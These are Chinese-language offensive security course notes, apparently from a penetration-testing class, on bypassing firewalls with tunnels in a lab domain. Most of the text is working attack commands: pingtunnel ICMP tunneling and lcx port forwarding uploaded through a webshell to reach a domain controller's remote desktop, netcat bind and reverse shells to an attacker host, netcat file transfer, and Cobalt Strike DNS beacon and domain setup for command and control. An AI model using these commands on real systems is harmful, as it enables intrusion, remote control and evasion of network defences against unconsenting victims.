隧道技术:在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
解决的问题:CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等
常用的隧道技术有以下三种:
网络层:IPv6 隧道## 标题、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
先测试目标是否支持这些协议
1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <IP> <端口>
2. HTTP 协议
用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的
话,就会输出相应的端口信息
3. ICMP 协议
用“ping”命令,执行 ping <IP 地址/域名>
4. DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令
kali2020-Target2-Target3
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的 3389
请求数据给本地 1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
先通过ping命令看目标是否又icmp协议,再把tcp/udp/sock5等协议的流量伪装成icmp协议
因为tcp/udp/sock5等协议很有可能被防火墙拦截
通过webshell在webserver主机上面上传ptunnel并运行,就会在本地开一个隧道,-x后面是密码,等待别人连接
kali处执行命令./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
通过密码对webserver主机建立连接,并通过webserver主机去访问DC主机的3389远程桌面端口,将数据转发给本地kali的1080端口
kali连接本地的1080端口
因为1080端口接收了DC主机3389端口返回的数据,所以可直接连接上DC的远程桌面
这样的话,数据流量走的就不是TCP协议,而是icmp
windows: lcx
linux:portmap
通过webshell将lcx上传至受害者服务器,并执行
lcx -slave 攻击 IP 3131 127.0.0.1 3389 //将本地 3389 给跳板 IP 的 3131
跳板机处执行
lcx -listen 3131 3333 //监听 3131 转发至 3333
kali这边通过rdesktop连接跳板机的3333端口
Kali2020-god\webserver-god\sqlserver|dc
1.双向连接反弹 shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击
攻击:nc -lvp 1234
受害:nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹 shell-配合转发
反向:
god\Webserver:Lcx.exe -listen 2222 3333
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机:nc -v 192.168.76.143 3333
3.相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
正向连接
在受害者主机上执行nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
,将cmd窗口反弹到1234端口上
攻击者这边直接通过nc访问受害者的1234端口
反向连接
攻击主机监听自己的1234端口
受害者主动执行cmd窗口,并将cmd反弹到攻击者主机的1234端口上
攻击者这边接收到cmd会话
有跳板机时
在受害者处执行nc,将cmd窗口反弹给跳板中间机的2222端口
跳板机这里用Lcx执行,将本地2222端口转发到本地的3333端口上
攻击者kali这里,用nc去访问跳板机的3333端口
成功反弹回受害者的cmd窗口会话
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
当你的后门是用http协议生成的,后门返回的数据就是通过http来传输的
当你的后门是用dns协议生成的,后门返回的数据也是通过相应的dns协议传输的
当对方的防火墙检测http协议时,你的http后门执行后,返回的数据会被对方的防火墙拦截
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀
1.云主机 Teamserver 配置端口 53 启用-udp
2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址
3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
dns添加解析A记录,主机名为cs,指向cs服务器的ip
添加NS记录,指向A记录的地址,主机名为ns1和ns2
当对方用NS去解析时,解析的地址是A记录的地址,仍然会对cs服务器进行访问
cs处添加监听器,Payload选择DNS
添加两个DNS Hosts,为刚才设置的ns1和ns2的网址
DNS Host为刚才设置的cs的网址
配置完监听器后,生成后门
选择刚才设置的监听器
将生成的后门上传到目标主机,并执行
cs处接收到目标主机上线
因为是dns协议传输,所以特别慢,并且要执行几个命令才能对目标直接进行控制
输入完后等待一会,等待目标主机返回数据,则成功拿到shell
可通过shell执行命令